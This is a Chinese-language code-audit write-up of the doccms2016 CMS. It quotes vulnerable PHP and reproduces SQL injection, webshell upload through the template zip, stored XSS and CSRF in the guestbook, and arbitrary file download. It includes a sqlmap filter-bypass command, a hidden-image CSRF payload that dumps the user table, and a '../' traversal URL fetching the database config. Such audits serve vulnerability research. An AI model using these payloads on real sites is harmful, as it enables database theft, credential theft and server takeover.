天天看點

代碼審計之_doccms2016漏洞doccms2016代碼審計及漏洞複現

doccms2016代碼審計及漏洞複現

  • doccms2016代碼審計及漏洞複現
    • 1.sql注入
    • 2.背景getshell
    • 3.留言處存儲xss
    • 4.背景任意檔案下載下傳
    • 5.總結

doccms2016代碼審計及漏洞複現

1.sql注入

在/content/search/index.php中,首先對參數keyword進行非法字元檢測

<?php
//首頁搜尋,站内關鍵字搜尋
function index()
{
	global $db;
	global $request;
	global $params;
	global $tag;	// 标簽數組

	!checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字元');
	$keyword = urldecode($request['keyword']);
	
           
function checkSqlStr($string)
{
	$string = strtolower($string);
	return preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|_user/i', $string);
}
           

發現沒有在過濾函數中進行解碼,是以我們可以直接兩次url編碼進行繞過,

sqlmap.py -u "http://192.168.164.138:89/search/?keyword=123" --tamper=chardoubleencode
           

2.背景getshell

在背景模闆上傳處,檢查檔案是否為壓縮包格式(檢查是否解壓成功),之後直接對壓縮包進行解壓,可以上傳檔案

admini\controllers\system\managemodel.php

function upload_model()
{
	//把模版先暫時上傳在系統根目錄的TEMP檔案夾裡,解決safe_mode On時無法上傳在環境檔案夾下
	//suny.2008.01.16
	$upload = new Upload(10000,'/temp/');
	$fileName = $upload->SaveFile('upfile');
	if(is_file(ABSPATH.'/temp/'.$fileName))
	{
		del_dir(ABSPATH.UPLOADPATH.'temp/');
		mkdirs(ABSPATH.UPLOADPATH.'temp/');
		if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1)
		{
			$doc = get_config_xmldoc('config');
			exec_config($doc);
			$doc = get_config_xmldoc('install');
			exec_install($doc);
	
			redirect('?m=system&s=managemodel');
		}
	}
}
           
function SaveFile($fileField,$isArry=false,$i=0)
	{
		if($isArry)
		{
			//檢查上傳檔案
			if($_FILES[$fileField]['error'][$i] > 0)
			{
				switch((int)$_FILES[$fileField]['error'][$i]){
					case UPLOAD_ERR_NO_FILE:
						$this->errorMsg .="請選擇有效的上傳檔案!";
						break;
					case UPLOAD_ERR_FORM_SIZE:
						$this->errorMsg .="您上傳的檔案總大小超出了最大限制:".$this->allowSize."KB\"')";
						break;
				}
				return NULL;
			}
			preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'][$i],$exts);
			//檢查上傳檔案的擴充名
			if($this->checkValidExt($exts[1]))
			{
				$this->errorMsg.="提示:\n\n請選擇一個有效的檔案,\n支援的格式有:".$this->AllowExt;
				return NULL;
			}
			$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
			$sFileName = $this->getDateDir().$this->saveFileName;
	
			if(!move_uploaded_file($_FILES[$fileField]['tmp_name'][$i],$this->uploadDir.$sFileName))
			{
				$this->errorMsg.='檔案上傳系統操作錯誤。';
				return NULL;
			}
			else
			{
				return $sFileName;
			}
		}
		else
		{
			//檢查上傳檔案
			if($_FILES[$fileField]['error'] > 0)
			{
				switch((int)$_FILES[$fileField]['error']){
					case UPLOAD_ERR_NO_FILE:
						$this->errorMsg .="請選擇有效的上傳檔案!";
						break;
					case UPLOAD_ERR_FORM_SIZE:
						$this->errorMsg .="您上傳的檔案總大小超出了最大限制:".$this->allowSize."KB\"')";
						break;
				}
				return NULL;
			}
			preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'],$exts);
			//檢查上傳檔案的擴充名
			if($this->checkValidExt($exts[1]))
			{
				$this->errorMsg.="提示:\n\n請選擇一個有效的檔案,\n支援的格式有:".$this->AllowExt;
				return NULL;
			}
			$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
			$sFileName = $this->getDateDir().$this->saveFileName;
	
			if(!move_uploaded_file($_FILES[$fileField]['tmp_name'],$this->uploadDir.$sFileName))
			{
				$this->errorMsg.='檔案上傳系統操作錯誤。';
				return NULL;
			}
			else
			{
				return $sFileName;
			}
		}
	}
           

直接解壓檔案,沒有進行任何檢測

3.留言處存儲xss

content\guestbook\index.php

function create()
{
	echo 123;
	global $db,$request;
	if ($_SESSION['verifycode'] != $request['checkcode'])
	{
		echo '<script>alert("請正确填寫驗證碼!");location.href="javascript:history.go(-1)" target="_blank" rel="external nofollow" ;</script>';
		exit;
	}
	
	foreach ($request as $k=>$v)
	{
		$request[$k]=RemoveXSS($v);
	}
	
	require(ABSPATH.'/admini/models/guestbook.php');
	$guestbook = new guestbook();
	$guestbook->addnew($request);
	$guestbook->custom=@implode('<|@|>',$request['custom']);
	$guestbook->dtTime=date('Y-m-d H:i:s');
	$guestbook->channelId=$request['p'];
	$guestbook->ip=$_SERVER['REMOTE_ADDR'];
	$guestbook->uid=$_SESSION[TB_PREFIX.'user_ID'];

	if($guestbook->save())
	{
		if(guestbookISON)
		{
			sys_mail(' 留言提醒','最新留言提醒:您的網站:<a href="http://'.WEBURL.'">'.WEBURL.'</a> 有最新留言,請及時前往稽核回複!');
		}
		echo '<script>alert("恭喜,您的留言已送出成功,從業人員會及時回複!");window.location.href="'.sys_href($request['p']).'";</script>';
		exit;
	}
	else
	{
		echo '<script>alert("對不起,系統錯誤,您的留言未能及時送出,請電話與我們聯系。");window.location.href="'.sys_href($request['p']).'";</script>';
		exit;
	}
}
           
function RemoveXSS($val) { 
    // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed 
    // this prevents some character re-spacing such as <java\0script> 
    // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some          // inputs 
    $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); 
    
    // straight replacements, the user should never need these since they're normal characters 
    // this prevents like <IMG [email protected]:alert('XSS')> 
    $search = 'abcdefghijklmnopqrstuvwxyz'; 
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $search .= '[email protected]#$%^&*()'; 
    $search .= '~`";:?+/={}[]-_|\'\\'; 
    for ($i = 0; $i < strlen($search); $i++) { 
        // ;? matches the ;, which is optional 
        // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 

        // @ @ search for the hex values 
        $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ; 
        // @ @ 0{0,7} matches '0' zero to seven times 
        $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
    } 

    // now the only remaining whitespace attacks are \t, \n, and \r 
    $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
    $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
    $ra = array_merge($ra1, $ra2); 
   
    $found = true; // keep replacing as long as the previous round replaced something 
    while ($found == true) { 
        $val_before = $val; 
        for ($i = 0; $i < sizeof($ra); $i++) { 
            $pattern = '/'; 
            for ($j = 0; $j < strlen($ra[$i]); $j++) { 
                if ($j > 0) { 
                    $pattern .= '('; 
                    $pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
                    $pattern .= '|'; 
                    $pattern .= '|(&#0{0,8}([9|10|13]);)'; 
                    $pattern .= ')*'; 
                } 
                $pattern .= $ra[$i][$j]; 
            } 
            $pattern .= '/i'; 
            $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag 
            $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags 
            if ($val_before == $val) { 
                // no replacements were made, so exit the loop 
                $found = false; 
            } 
        } 
    } 
    return $val; 
}
           

找到了大佬的腳本,可以用來備份資料庫的user表

<H2> CRSFTester</H2>
<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=開始備份資料" width="0" height="0" border="0"/>
           

4.背景任意檔案下載下傳

\doccms\admini\controllers\system\back.php

function download()
{
	global $request;
	if(!empty($request['filename']))
	{
		file_down(ABSPATH.'/temp/data/'.$request['filename']);
	}
	else
	{
		 echo '<script>alert("檔案名不能為空!");window.history.go(-1);</script>';
	}
}
function file_down($file,$filename='')
{
	if(is_file($file))
	{
		$filename = $filename ? $filename : basename($file);
		$filetype = fileext($filename);
		$filesize = filesize($file);
		header('Cache-control: max-age=31536000');
		header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT');
		header('Content-Encoding: none');
		//header('Content-Length: '.$filesize);
		header('Content-Disposition: attachment; filename='.$filename);
		header('Content-Type: '.$filetype);
		readfile($file);
	}
	else
	{
		echo '<script>alert("檔案不存在!");window.history.go(-1);</script>';
	}
	exit;
}
           

沒有對檔案名進行過濾,直接修改目錄即可進行檔案下載下傳

http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php
           

5.總結

sql注入可以直接擷取管理者名和密碼的hash,但是密碼的hash是已經是經過自定義函數加密的,我們就隻能對密碼進行爆破來獲得管理者密碼,結合背景模闆處檔案上傳即可getshell

加密函數

<?php 
class docEncryption
{
	var $enstr = null;
	function docEncryption($str)
	{
		$this->enstr = $str;
	}
	function get_shal()
	{
		return sha1($this->enstr);
	}
	function get_md5()
	{
		return md5($this->enstr);
	}
	function get_jxqy3()
	{
		$tmpMS = $this->get_shal().$this->get_md5();
		$tmpNewStr = substr($tmpMS,0,9).'s'.substr($tmpMS,10,9).'h'.substr($tmpMS,20,9).'l'.substr($tmpMS,30,9).'s'.substr($tmpMS,40,9).'u'.substr($tmpMS,50,9).'n'.substr
($tmpMS,60,9).'y'.substr($tmpMS,70,2);
		$tmpNewStr = substr($tmpNewStr,-36).substr($tmpNewStr,0,36);
		$tmpNewStr = substr($tmpNewStr,0,70);
		$tmpNewStr = substr($tmpNewStr,0,14).'j'.substr($tmpNewStr,14,14).'x'.substr($tmpNewStr,28,14).'q'.substr($tmpNewStr,32,14).'y'.substr($tmpNewStr,56,14).'3';
		return $tmpNewStr;
	}
	function to_string()
	{
		$tmpstr = $this->get_jxqy3();
		$tmpstr = substr($tmpstr,-35).substr($tmpstr,0,40);
		return $tmpstr;
	}
}
           

繼續閱讀